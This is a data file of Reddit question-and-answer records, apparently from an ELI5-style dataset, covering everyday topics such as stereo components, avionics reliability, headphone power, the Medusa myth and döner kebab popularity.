{"q_id": "47iodr", "title": "the different components of a home stereo system and what they do.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/47iodr/eli5_the_different_components_of_a_home_stereo/", "answers": {"a_id": ["d0d7kpq"], "score": [12], "text": ["You want to listen to something. So you get a pair of speakers. Well the signal coming from your TV, phone, computer, whatever is very low power. In order to hear it, you use an amplifier to boost it up. \n\nBut amplifiers usually only have a single input. They can't switch between many different ones. So a receiver is a nifty box that has many inputs, for your tv, radio, turn table, phone, whatever. Thats what a receicer does. But a switch isn't hard to make so receivers usually have some additional features. The most common is a built in amplifier. So you can connect all your devices to the receiver and connect that directly to your speakers. \n\nSo why would you buy a separate amp and receiver? Well not all amps are created equal. The easiest thing to tell is power, high power amps are hard to make so receivers generally don't get much boost out of them. If you have big speakers that need a lot of power, you may want a separate amp to drive them. Another thing is noise and distortion. Amps add noise to your signal, like a hiss. Better amps have lower noise. There is also distortion, which changes the sound as it passes the amp. Some distortion is unwanted... other times it's desirable. Tube amps use special electrical components that create distortion intentionally to color the sound in a pleasing way. \n\nA preamp is something you usually only need for turntables. The signal coming from vinyl is especially tiny, so you need to boost it up before it reaches the amp. Otherwise you get quiet and noisy sound. So that's what a preamp does. \n\nThere are other components out there like equalizers, power conditioners, compressors, DACs, etc. EQs shape the sound to make it more pleasing in your room (room colors sound more than any component of the system). Power conditioners take care of issues related to your home power wiring, which can be noisy or spotty that can damage components. Compressors are automatic volume controls, useful for preventing your system from getting too loud (like watching commercials). DACs convert digital signals to analog, they're built into your receiver but there's a can of worms to be opened over the benefits of buying one separately. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "e3vm4p", "title": "how was a private equity firm able to acquire the entire registry for the .org website extension?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e3vm4p/eli5_how_was_a_private_equity_firm_able_to/", "answers": {"a_id": ["f955fzh", "f959wh0"], "score": [3, 7], "text": ["[_URL_0_](_URL_1_)\n\nThe .org domain was managed by the Public Interest Registry, a non-profit created by the Internet Society, also a non-profit.\n\nSo the Internet Society sold the Public Interest Registry. End of story.", "Corruption. ICANN is what regulates these things and the board member of the company that bought the .org was previously in ICANN board. It is very simple and clear as day. There are no positives, there are no advantages from this, only negatives and danger of losing .org domains to the richest buyer, making it just another .com."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Public\\_Interest\\_Registry", "https://en.wikipedia.org/wiki/Public_Interest_Registry"], []]}
{"q_id": "1yttme", "title": "Can drugs with opposite effects cancel each other out?", "selftext": "For example:\n\n* Drug A taken alone *increases* blood pressure.\n* Drug B taken alone *decreases* blood pressure.\n* Drug A and B taken together balances out to normal blood pressure.\n\nOther than the fact that your body has to process both sets of chemicals, is it possible for the drugs to cancel each other out if they both have the opposite intended effect?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1yttme/can_drugs_with_opposite_effects_cancel_each_other/", "answers": {"a_id": ["cfnphid", "cfntbuf"], "score": [13, 2], "text": ["Certainly, but it is rarely that straightforward, and usually dependent on more factors such as the precise mechanisms of action of both drugs.  For example, if drug A is a vasopressor (increases blood pressure by constricting blood vessels) and drug B is a diuretic (decreases blood pressure by reducing blood volume), they would work in more or less unrelated pathways and function similarly to what you described.  However, if drug B is a beta-blocker, then there can be [complicated interactions](_URL_0_) since the two medications are working on opposite sides of the same physiologic process.  This scenario is actually clinically relevant in the setting of treatment of COPD in patients with heart failure.  Another example is with monitoring of [INR](_URL_1_) for patients on anticoagulants like warfarin - if the patient's blood is 'too thin', we can give vitamin K, which counteracts warfarin's effects on the clotting factor production pathway and leads to lowering of the INR.", "An example i'm reminded of is opiates and naltrexone. Opiates are agonists for a variety of receptors, while naltrexone (and naloxone) are inhibitors of some of the same receptors. If their effects were perfectly opposite, then they'd cancel if you administer them at the same time, but in reality their structures mean that the degree to which they interact with each of the different opioid receptors in the body are different from one another.\n\nNaltrexone is often used to prevent opiate use from having some of its effects, but some of them are often left behind, because of the different receptor interaction profiles. The other issue is mediating dose, which is often different depending on individual genetics and probably other factors too."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://content.onlinejacc.org/article.aspx?articleid=1146497", "http://en.wikipedia.org/wiki/International_normalized_ratio#International_normalized_ratio"], []]}
{"q_id": "cs52ce", "title": "how do designers keep aircraft flight controls from getting the blue screen of death or crashing while mid air?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cs52ce/eli5how_do_designers_keep_aircraft_flight/", "answers": {"a_id": ["exclz8w", "excnnkt", "excqciz", "exd1num", "exdasii", "exdien0", "exdx544"], "score": [73, 15, 3, 3, 2, 5, 4], "text": ["There are a few major ways to keep mission critical electronics from crashing:\n\n* Be so simple that even if you do crash you can recover near instantly - *The computers on the Apollo spacecraft could reboot in a fraction of a second*\n\n* Have non-identical backups for your main system - *The space shuttle had control systems that were constructed in different ways so if one went bad, the same error wouldn't affect the other*\n\n* Put it to a vote - *SpaceX uses three computers that are running in parallel, and if the output of any one system isn't identical, recognizes the error and reboots the faulty system.*", "They have specific requirements, and they test that the code works in all the likely cases.  \n\nIt's the opposite of \"Marketing says we need to get our product on sale first, even if it doesn't work, we can always issue patches later that are backwards compatible, even though that might make it really hard to really fix the problems, because users are a dime a dozen.\"\n\nThat's why the Boeing Max8 MCAS problem is so newsworthy.  A major airplane maker put a feature in to maintain \"just like an ordinary 737\" even though it had a lot of unexplored performance envelope.  The \"not fault tolerant - pilots will be the failsafe\" solution has been in the 737 for ages, but that depends on pilot expectations being the same.  Violating those expectations for marketing reasons is very rare in aerospace.", "for those kinda of system you have a few options:\n\n1: make them simple, os simple in fact that evne if they do crash they cna recover faster than it may lead ot issues(not good  if you need to preserve data for instance, but generally good for stuff like sensors)\n\n2: assymetric redundancy: aka having a system with a back up, but said bakc up works in a different manner so niether cna be affected by the same kind of error.\n\n\n3: have multiple system working in tamdem and copare their output\n for istance many miliatry aircraft have 3-4 flight computers on board, if one of those start outpuuting weird data it get evaluated and if found erroneous its rebooted.\n\n\nalso worth noting that misison critical systems that you cant afford ot have failing. go thru much more rigorous testing.", "The short answer is that they do a lot testing and any problem the test find is not just fixed but analyzed and policies enacted so there's less chance of happening again in the future.\n\nYou can find more information in  [They Write the Right Stuff](_URL_0_) an article about the people who wrote the Shuttle software.", "Avionics use something called a 'real time operating system' which is different than your standard Linux or Windows software. Bugs are far more rare because the systems do fewer discrete things and operate closer to the circuit than a general use operating system does. \n\n_URL_0_\n\nThis sounds great, like why do we deal with these crappy general use os if this one is so much better? That is a complex answer but it mainly revolves around GPOS (general purpose OS) being good enough for most things. Free your developers to make games and profitable software.", "There are several standards that are adhered to and validation processes that mission-critical software systems can undergo, depending on their purpose... DO-178 is for aircraft systems, but there are others for medical devices, etc. For the most stringent, coverage analysis is done and each line of assembly code (the lowest level that they look at, as far as I know) is assured to place the system into a good state after execution. There are standards-compliant operating systems, graphics libraries, etc. Validation is expensive, understandably, but even code that doesn't crash doesn't necessarily work as imagined... there are famous examples involving rockets, etc.", "There are two important parts to this and a third lesser important (but still very important) part.\n\nPart 1: Specific Hardware.\n\n * What does this mean?\n\nThe software developed for a given plane design ONLY needs to work for that plane and that design alone. If you are upgrading the Boeing 747 with a few improvements then the bulk of the software may very well be the same as the previous software with only changes made to the parts concerning the altered hardware. Your 747 engine software doesn't need to know how to handle an engine meant for a 737 and so none of that code is in there. There's no If Statement asking \"What kind of engine is this? Should I use the 747 module?\". The code was specifically designed to work with THAT model aircraft and nothing else.\n\n * Why is this important?\n\nThis is important because in computers/phones/etc that software has to support a variety of hardware states. Apple TENDS to have a reputation of their equipment being more stable and that is almost entirely because their hardware is locked down. For any given iPhone you'll have the 2-4 versions Apple puts out and that's it, so the new version of the iPhone OS is designed FOR those phones. Now an important point here is that a lot of the issues iPhones develop later in their lives are because the newer OS, which you get, is meant specifically for the newer phones. It'll be backwards compatible with the older hardware for a few generations, but in general they only take the effort to make sure that basic functions still run at all and won't brick the phone. As a terrible example, lets say the new camera software expects some feature that your old phone doesn't have. They'll make sure the lack of that feature doesn't crash the camera software, but they won't necessarily make sure that the safety systems that prevent the crash from happening don't slow the phone down with software inefficiencies that the newer phones CPU can handle without trouble. However more on the Microsoft side, Windows is designed such that basically every combination of hardware you can conceivably make SHOULD work, but it isn't guaranteed to work perfectly, simply because there is no possible way they can make sure of that. GPU A and CPU A might work wonderfully together, but GPU A and CPU B might have a TINY little mismatch that happens only in extremely rare circumstances only brought about by a singular random event inside of a video game you play such that one will send a message to the other that the other just can't handle and things come crashing down.\n\n * What are the implications?\n\nPurpose build software for a specific piece of hardware ALWAYS works better (assuming proper engineering standards are applied anyway). Think of it from a practical standpoint of converting data from one type to another. In some hardware you might have a \"least significant bit\" (which digit is the 'zero/one' space) where the bit in question is the first bit (ex: 1000) and in others it will be the last bit (ex: 0001). If your software has to handle the possibility that the hardware given to it could be one or the other, then when a number arrives in the computer, before it can do anything else, the number gets passed over to a piece of code which interprets that number to make sure it matches how the computer works (ex: if you have 1000 and the computer is expecting the opposite direction, the number must be reversed before the computer can use it), before the number is used. This is true EVEN if the number is correctly formatted. This little extra operation doesn't take much processing to do, but it IS less efficient than just knowing for sure that the number is arranged one way or the other. If you only have to do this once every few minutes, it's no big deal, but if you have to do this hundreds of thousands of times every second of operation, it adds up to a lot of wasted calculations that you don't have to do if you KNEW that the number was ALWAYS organized in a particular way.\n\nFinally, all this together means that your software knows EXACTLY what is possible from the hardware. If the hardware CAN throw a particular error or spit out a particular output, your software WILL be able to handle it because you designed it to do that. In a situation where you don't know what hardware is plugged in, you have no proof that your software will be able to handle (or even understand) a given error message or input from the hardware, because you don't know all the possible inputs you might get.\n\n**tldr: By having a VERY constrained hardware set, the software can be designed EXACTLY to handle what that hardware can do. This means no matter what the hardware does, the software can do something with what it's told instead of freaking out and crashing.**\n\nPart 2: Limited Actions.\n\n * What does this mean?\n\nYour phone and your computer have effectively infinite actions that you the user can direct it to do. This doesn't mean that you can ask it to add any number to any number (though that is part of it), it more means that you might want to install a particular game and play it, or go online and look at a random web page that the programmer of your phone/computer had never seen before. The specific number of individual actions that you can make your system do are too large for any team of coders to anticipate and test for, they have no idea what you might want it to do, so they do their best to handle the average cases.\n\nIn the case of planes, they know EXACTLY what all the things a pilot can do are and they know EXACTLY how these actions are allowed to interact. They don't have to anticipate that the pilot might want to plug in a disco ball in the cockpit and try to have the throttle lever control how fast the ball will spin or the flaps lever control how bright the spotlight on the ball is, because there is no possible way for a pilot to DO that.\n\n * Why is this important?\n\nBy knowing EVERY action a pilot can take in the plane, it becomes possible to ensure you accommodate them. Depending on the circumstances you may not be able to accommodate all of them with specifically designed code to handle that action, but you can guarantee that there is some default behavior that is acceptable. Ex: Maybe you don't have code that handles specifically what to do when the pilot pushes the 'cabin lights' button while also adjusting the throttle, but you can code the 'cabin lights' button to always toggle the lights no matter what else is going on, and you can code the throttle controller to always adjust the engines based on the position of the throttle no matter what else is going on. And thus you have handled the scenario of what happens when the pilot pushes the cabin lights button while adjusting the throttle without actually writing code specifically to deal with that scenario.\n\nWith a phone, it might be possible that the software you are running takes control of your volume buttons and uses them for some purpose (brightness say), meanwhile it cares about touch inputs on the screen to control the USB device plugged into the phone. Maybe the creator of the software you are using never anticipated that the users would have the dexterity, or reason, to be poking at the volume buttons while tapping the screen while the USB device the software was meant for was not even plugged in. This could cause the software to hang in a loop as it tries to figure out what to do. Meanwhile in a panic you try to minimize the app, only to realize that the volume buttons are still 'grabbed' by the software because your phone hasn't realized the app is crashing and is just steadily caching every volume push waiting for the app to take the inputs, and in a panic as you are pushing the various buttons you somehow manage to overflow the volume-button cache on the phone and the phone makers never expected that would be possible, and so the new value goes beyond the allocated memory space and changes a value needed for the OS which becomes a value that the software never expected to see and so the phone stalls and crashes. With a phone or computer, the programmers cannot know that this scenario might happen and take actions against specifically it. (Not a perfect example of course, the phone programmers should always expect that somehow the volume input cache might overflow and throw in some safety programming to handle it, but you get the idea.)\n\n * What are the implications?\n\nThis means that generally speaking, no matter what the pilot does with the controls, the plane knows what it should do in response. There's never any possibility of confusion where a combination of inputs/actions from the pilot are unexpected or unhandled. As such the programmers have made sure that no matter what has happened, the plane has an answer to it. The answer might not necessarily be terribly meaningful in the grand scheme of things, but it is an answer that is logical given the inputs it has been provided. A given scenario might be best handled by the plane simply refusing to change states. Ex: The plane has some sensor on the landing gear to know for sure that it is on the ground and the pilot sends it a command to retract the landing gear, the plane might just do nothing. Note: It is always a best-practices thing in the case of 'do nothing' to provide some feedback to ensure the user knows that [the system heard you, the system doesn't care.](_URL_0_)\n\n**tldr: Because the programmers know EXACTLY what all the possible actions of the pilots are, they can program things to handle ALL of those actions.**\n\n[1/2]"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.fastcompany.com/28121/they-write-right-stuff"], ["https://en.m.wikipedia.org/wiki/Real-time_operating_system"], [], ["http://www.gogglebob.com/pics/fgc3/269willie.png"]]}
{"q_id": "4yiv9b", "title": "What are the real origins of the Medusa myth ?", "selftext": "So Ive read in quite a few places. That Medusa was once a part of a three part goddess with Athena in North Africa. And that she had temples and priestesses that worshipped her and wore the gorgon masks. Saying that she represented death,rebirth and sexuality. This is until the greeks came and with a more patriarchal society took her down and killed her within the Perseus myth. Now  this sounds like it makes sense (but I know that it  doesnt necessarily make it so). Where ive read this has come from feminist,astrology, and Wiccan websites that dont list sources. I get the feeling theyre patching together different facts (and maybe some, not so much facts) to make a narrative that is appealing.  So does anyone know if there is any truth to this ? Is there any substantial evidence of Medusa's origin ?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4yiv9b/what_are_the_real_origins_of_the_medusa_myth/", "answers": {"a_id": ["d6o30ht", "d6o7h85", "d6oi16d"], "score": [128, 38, 2], "text": ["The source of the rumours you've read is very likely Martin Bernal's [*Black Athena*](_URL_0_).  It's  serious scholarly work, but it remains very controversial and, as far as I can tell, current consensus is that he overreached his conclusions.  The main idea is that the roots of Greek civilization are not Indo-European but older, connecting them to colonizing Afroasiatic cultures (but as a linguist, I find it utterly indisputable that Greek is an Indo-European language; and I wonder if it would take root so strongly in Greece while leaving intact the culture and myths of an earlier Afroasiatic group *and* without a substrate layer in the lexicon \u2013 lots of native non-European words \u2013 to testify for it).  In Volume III, Bernal claims the following:\n\n - One Greek tradition says that Athena killed the queen Medusa; there are images of Athena using the Gorgon's head as a weapon (like Perseus) or incorporating her face on her armor.\n - There are Athena/Medusa parallels; they both were queens of Libya (as was the original Pallas).  Ancient pots found near Knossos, containing children's bones, mixed Gorgon and Athenian symbols (the figure-eight shield). There are also many parallels between Athena, Egyptian N\u0113it and Canaanite \u2018Anat; and the later two have a violent, sacrificial side, which would explain Athena's early association with human sacrifice and monstrous Gorgonic motifs.\n - Therefore Medusa is, at the same time, a victim of Athenian sacrifice and an image of her crueller roots.  Athena kills Medusa so that she can wear her face.\n\nAnd it goes on in this note.  If you're interested in the question, you'd do well to read *Black Athena* yourself, and then perhaps some of the criticism (like *Black Athena Revisited*) and/or *Black Athena Writes Back: Martin Bernal Responds to Critics*, and so on (there's an entire academic-debate\u2019s worth of books).\n\n", "/u/sansordhinn has some great observations here. The problem with reconstructing ancient religions is that there are often far too few dots to connect to arrive at a complete picture of what is going on. This is particularly true when peering beyond the \"history barrier\" into a past just before literacy. We know some things about Greek mythology and Greek belief systems/religions (understanding that mythology does not necessarily equal religion). We also know that people in the Balkans before the Greek language arrived had a belief system (because everyone does). There is the added complication that just because the Greek language arrived, there is no implication, necessarily, of a replacement of culture nor of people. Some Greek speakers may arrived as the language came to dominate what we know as the Greek peninsula, but the new language (and however many of its speakers) encountered an indigenous people with their own culture, language, and belief system. And some of that indigenous culture likely survived, influenced, and blended with Greek culture.\n\nThat said, attempting at arriving at an understanding of what that pre-Greek culture and its belief system looked like is a maddening process. There are, simply, too few dots to connect to arrive at a sound understanding of what was there. And when there are too few dots, the point of view of the connector usually has a profound effect on what emerges as a portrait of the past. For several decades, it has been fashionable for a feminist point of view to connect the sparse dots to develop an image of a female trinity of goddesses, and to see a matriarchal society and pantheon of goddesses lurching beneath the patriarchal society of religion of the Greeks. The portrait of the prehistoric bedrock of the Balkans is intriguing and frankly a great deal of fun. The work of [Maria Gimbutas](_URL_0_) was particular important for furnishing a foundation for this line of thinking. But intriguing and fun does not make for reality. My gut tells me that there are some valid strains at the heart of this approach, but I am also certain that it has been taken too far in the name of modern ideology (which is rarely a sound bedrock for good scholarship).\n\nOne must also understand that pre-literate belief systems are porous and fluid: that is, they are vulnerable to outside influences and they change quickly, manifesting in different forms from generation to generation, individual to individual, and from one valley to the next. So whatever one could say with certainty about a certain pre-literate culture, would be at best a vague synthesis that would be contradicted by actual work in the field, should one have access to a time machine and be able to travel back to different decades and neighboring places.\n\nIn short, if someone asserts that they know exactly what a prehistory belief system was all about, they are almost certainly wrong because nothing in belief systems is exact and there is no reliable ability to assert anything with certainty when dealing with prehistoric traditions. ", "Question: what is the origin of the idea of multiple-part gods? Are these as common as they seem?\n\nMedusa-Athena, Yahweh-Jesus-Holy Spirit, etc.... This idea of a multi-part god seems to fly in the face of all human experience and just makes these religious ideas even more unbelievable.\n\nAnyway, I know that asking the \"origin\" is a bit much, but any information or discussion would be interesting to me."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Black_Athena"], ["https://en.wikipedia.org/wiki/Marija_Gimbutas"], []]}
{"q_id": "bb9xhf", "title": "why headphones can project music without being plugged into a power source, but normal desk speakers can't. aren't headphone speakers just smaller speakers? where do they get the energy to play music?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bb9xhf/eli5_why_headphones_can_project_music_without/", "answers": {"a_id": ["ekh9gl1", "ekh9j1n", "ekh9jmp", "ekh9txb", "ekhmtgl", "ekhpndt"], "score": [2, 14, 9, 4, 5, 2], "text": ["Headphone jacks have a line out voltage of around 1volt at 50mA.\n\nEnough to power small headphones. Not enough to power speakers.", "They are connected to a power source, either through the cord or from an internal battery.\n\nUltimately they work the same as larger speakers, but since they're one centimeter from your ear and only need to be heard by you they can get by with very low power.", "Wired headphones use your phones battery to be powered. They are much smaller and require much less energy. Big speakers use a lot more energy (a soundbar is often about 60W). So they need more energy and are plugged into a wall socket. If you have Bluetooth headphones then they have their own batteries and need charging maybe once a week.", "Are you talking about wireless headphones that have rechargeable betteries in them? Because that is where they get their energy from. Or are you talking about both being wired?\n\nWired headphones require alot less energy than full on speakers because wired headphones make much smaller vibrations or they will damage your ears.\n\nThe 3.5mm Jack you use in your phone/laptop,etc send out up to 50 milliwatts of power and that is enough to produce an uncomfortably loud sound", "So, a speaker is a diaphragm, which is what pushes and pulls the air, connected to an electromagnetic coil, which is a coil of wire around a permanent magnet. When you energize the coil, it creates a magnetic field, which pushes or pulls against the permanent magnet, which moves the diaphragm, which pushes or pulls the air, which makes the sound.\n\nA piezoelectric is a material that undergoes \"mechanical stress\" when under an electric load - apply some current, and the material will deform, or flex. You can use this to predictably flex the material like the diaphragm on a speaker, and you can make sound from that.\n\nPiezoelectrics are typically used in ear buds because you can make them much, much smaller, and you need no space for magnets or coils.\n\nSo why no electric power source? Well of course there is one - the audio signal itself. The audio signal going down the speaker wire or your earbud/headphone wire is an electric current. It alternates in the direction of flow, just like the AC current in your home electric. It has a magnitude or amplitude, which is how strong the signal is, which we call \"volume\".\n\nWith a piezoelectric speaker, this current is driving a tiny ass speaker, small enough to fit in your ear. It doesn't take much electric current to drive something so small. The higher the volume, the more current, the more and harder you're driving the speaker.\n\nSo, too does this happen with a large speaker. Typically, though, the signal is a very tiny current - the point is to carry the audio signal, not provide power. Once it reaches the speaker, it has an amplifier built into it. An amplifier uses a circuit that crosses two currents, a big one and a little one. Any change to the little one results in a proportionate change in the big one. This way, you have a big-ass current that's going to drive through the speaker, which needs a lot of power to move that big-ass electromagnet and flex that big-ass diaphragm, and the little-ass current comes from the audio signal. As the audio signal changes and modulates, so too does the driver signal in exactly the same way - faithfully reproducing the sound.\n\nSmaller speakers like PC speakers may not require a power source, but they rely on the signal itself to be amplified by the circuitry in your computer. And depending on the speaker system, if it's amplified but the amplifier is turned off, you may be able to listen real close and still hear your sound, just really quiet - it's still electricity, and it's still running through that big-ass electromagnet, and it might be enough to just barely hear it.", "The drivers in headphones are small, and don't need much power. Because of this, the audio signal coming from your phone/computer is enough to power them. Speakers, on the other hand, have big drivers that take a lot of power to operate. Your computer/phone can't put out a strong enough audio signal to make them produce sound, so they require a powered amplifier to strengthen the signal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "bi79qv", "title": "why do scientists not go out into international waters and conduct scientific research that countries may feel is to questionable? like stem cells or something...", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bi79qv/eli5_why_do_scientists_not_go_out_into/", "answers": {"a_id": ["elyke72", "elykhbl", "elykiep", "elyldxr", "elylidv"], "score": [5, 3, 31, 2, 2], "text": ["For one, it's EXPENSIVE. Two, believe it or not, ethics play a big role. Scientists generally recognize they're not professional ethicists, and that plays a big part in what they how they conduct their research. We actually learned some lessons from the Nazis, I guess. Third, it will raise big questions when they publish they're findings. Depending on the laws of their home and on the broader scientific community, they could run into trouble.", "A whole bunch of reasons. Mainly, science takes a long time and isn't cheap. Outfitting a ship with everything necessary for long-term work at sea would be ruinously expensive. There's also the issue that \"Illegal ocean-based science piracy\" looks *real bad* on your resume, so you aren't going to be attracting top talent.\n\nAnd just because something happens at sea doesn't mean it has no legal consequences. It's possible the people  involved could still be arrested in their home country, or that some nearby Coast Guard might take offense and shut the whole thing down.", "\"International Waters\" is not some lawless area where you can do anything you want (crime, questionable research, etc).  International laws and treaties say that any ocean going ship must be registered with a country and you are governed by the laws of that country.  So if your country has banned stem cell research, you can't just jump on your ship and sail a few hundred miles out.", "Because they would still be prosecuted once they returned to their country.  The US in particular feels that US law applies to US citizens wherever they are.", "All the other answers have great answers, but I haven't seen one stated outright that occured to me: Boats rock, and science can be sensitive. Trying to do delicate science is difficult enough on a lab, and is only made more difficult by even the gentlest of rocking of the waves. And a storm? That could be disastrous. Imagine if they were conducting experimental research on a deadly disease, and some of it spilled in the ocean somehow. Several seafood critters could become carriers for the disease before it disperses enough to be harmless,and could easily end up spreading it to humans.  The chance is probably miniscule, but I wouldn't take it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "597eib", "title": "The State of Oregon's original constitution included a clause banning black people from the state. How were they planning to enforce this?", "selftext": "Oregon was the only state allowed into the Union with a race-based exclusion included in their founding document. Would they use the infamous \"brown bag\" test? The \"one drop rule\"? \n\nDo we have any written accounts of light-skinned African Americans moving into the state during the ban? When and how was the ban officially ended? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/597eib/the_state_of_oregons_original_constitution/", "answers": {"a_id": ["d96i1be"], "score": [7], "text": ["One question to add: did the founders actually expect to see black migration? \n\nAt the time of Oregon's founding, the U.S. still had slave states and the transcontinental railroad hadn't been constructed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2170c9", "title": "Are the positions of moles or beauty marks genetic?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2170c9/are_the_positions_of_moles_or_beauty_marks_genetic/", "answers": {"a_id": ["cgabx0q"], "score": [2], "text": ["The [Mongol spot](_URL_0_) is a location-specific genetic birthmark. However, it is usually found on your buttocks and your lower back and fades with adulthood.\n\nYou can be predisposed to develop lots of moles, but their location is random as they are [benign skin cancers](_URL_1_). Note that \"benign\" is defined as not growing - a growing mole *is* melanoma, although not all melanomas look like brown moles."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Mongol_spot", "http://en.wikipedia.org/wiki/Melanocytic_nevus"]]}
{"q_id": "ccrrh3", "title": "besides wealth, what other things seperate the upper class from the other classes?", "selftext": "What I mean by that, from my understanding, wealth is just one part of it, they are socialized completely differently, do different things and there are certain \"tells\". For example, someone who wins the lottery is very different than someone born and raised upper class. Can anyone explain?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ccrrh3/eli5_besides_wealth_what_other_things_seperate/", "answers": {"a_id": ["etoxuez", "etoyfor", "etoyge2", "etp1is6", "etp5hdg"], "score": [4, 8, 5, 3, 2], "text": ["Working knowledge of legal and money lingo and practical experience with tax shelters, boards of directors, scam artists and so on.", "Another thing I\u2019ve realized with some of my wealthier friends is they are blissfully unaware about very day-to-day things you\u2019d think would be common knowledge like how to do laundry or wash the dishes because they\u2019ve always had someone else do it for them", "Patterns of money spending, assets that can generate more money, connections to other wealthy and powerful people, sports, how they talk... For instance, if I won the lottery, I might have a million dollars, but I would not be able to reliably earn millions more since I'm still just a painter. I don't have any friends in high places, and I still talk like I used to. Not only this, but I have no idea what to do with that million. Rich people know how to turn their money into more money, while poor people tend to have just enough money to get by and so they often do not know how to invest large sums. Meanwhile, if Bill Gates was suddenly tricked out of all of his money, he still has all of his connections to help him recover, he still has a job that pays really well, he still has investments, and he talks like a CEO who has been in the business for ages. If something bad happened to him, it would be because he spends more money than he has without realizing, and this would have to happen very soon after he lost all of his wealth since he would make it back very quickly.", "How they ended up that way.\n\nSelf-made millionaires are MUCH different than those who inherited it. I've seen this many times.\n\nSelf-made still penny-pinch and have a frugal streak..or otherwise they never would been self-made. I've seen people born into money piss it away and not think twice about it. They have access to more and most likely don't ponder where it comes from or how it was made.", "It's just the wealth, fundamentally. \n\nEverything else - travel, hobbies, exclusive education, social experience, etc. - are all opportunities that only exist because of the wealth. Even better diet and access to healthcare leading to just a healthier person is wealth-based in many jurisdictions. Take two people of equal intelligence and qualification, but give one a lifetime of healthy diet, access to an orthodontist, better clothes and a more expensive hair care regimen, and see how the two do side by side when vying for the same job, right?  \n\nAs for tells like the behavior of lottery winners, its about being conditioned to wealth: If you've always had more than enough money, a sudden windfall is unlikely to change how you manage it. (And you're likely already in a peer group of other wealthy people who model this behavior to you.) People who live paycheck to paycheck who come into sudden wealth haven't had that kind of life training. nor have people in their circles who would have that kind of experience. \n\nIt's just the money."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "9ll2f1", "title": "with d\u00f6ner/kebab being the no. 1 street food throughout europe, why did it never achieve a similar standing in the usa?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ll2f1/eli5_with_d\u00f6nerkebab_being_the_no_1_street_food/", "answers": {"a_id": ["e77gnp4", "e77gts5", "e77jhdw", "e77jjt8", "e77js5o", "e77kc2b", "e77ksdz", "e77kych"], "score": [13, 34, 3, 2, 2, 2, 2, 2], "text": ["I'd imagine it would have to do with immigration patterns.  Turkish immigration throughout Europe, especially Germany and Austria fueled it's exposure throughout the Continent.  Here in the states there has been much less Turkish migration.  Here in Chicago and many other cities with large Greek populations, the similar gyros is very popular, but dressed differently with simply onions, tomatoes and tzatziki sauce.  We do have a few outlets that offer proper Continental style d\u00f6ner here and there though.  ", "We got a joke in germany:\nWhy are the the turkish bad at football?   \nBecause everytime they get a corner, they open a Kebabshop.\n\nIt's pretty easy for a street food to become popular if you literally see it in any city at multiple corners.\nThere are no similar popular streetfoods in germany, or at least not so spread out.     \n  \nCompare that to america, already having an abundance of street food and not having that huge of a turkish population.   \nSupply and demand is both much smaller/nonexistant.   \n", "Kebabs are also pretty popular in Australia, nothing like going out for a few beers and getting a late night lamb sandwich on the way home.", "There aren\u2019t that many walking streets in the US. Unless youre in the downtown of one of a handful of major cities, most of america is highway and thus we don\u2019t do a lot of street food.\n\nIf it were a drive-thru doner kebab brick and mortar, then that\u2019s possible, but fuck eating a doner kebab while driving. That\u2019s a mess waiting to happen.", "Proximity I'd guess.\n\nDonner kebabs came to Europe mostly through Turkish migrants.\n\nSame reason America has some of the best Mexican food in the world and Europe does not ", "So, as another poster mentioned, these are also the absolute go-to post-pub grease-fest meal in Australia.\n\nBut what I wanna know is, what do youse yanks eat at 3 am on the way home from the pub instead? I'm gonna channel a stereotype and guess burgers?\n\n\n\n\n", "because burritos are way better and by god do i miss california :-(\n\nbelgian fries and donner are the shit though\n\n & #x200B;\n\nbut for a serious answer, europe is full of turkish people, and many other immigratns from all around the mediterrenean. \n\n & #x200B;\n\nThese cuisines are all similar and we've been eating this stuff forver. It's a safe business to open, relatively speaking. You know what you're getting at a kebab shop. Even more so than pizza which would have me go the extra mile for the one I like. But kebab is pretty uniform. They all order their ingredients from the same supplier. The preparation is standardized. You just get the same shit at every shop. So that makes opening a new one much less of a gamble. \n\nSo it's a source of employment for many immigrants. Something that can employ members of the family who might have difficulties in the general job market. ", "This is a good question, and you've gotten some good answers, but it's probably better to post this in r/askanamerican."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
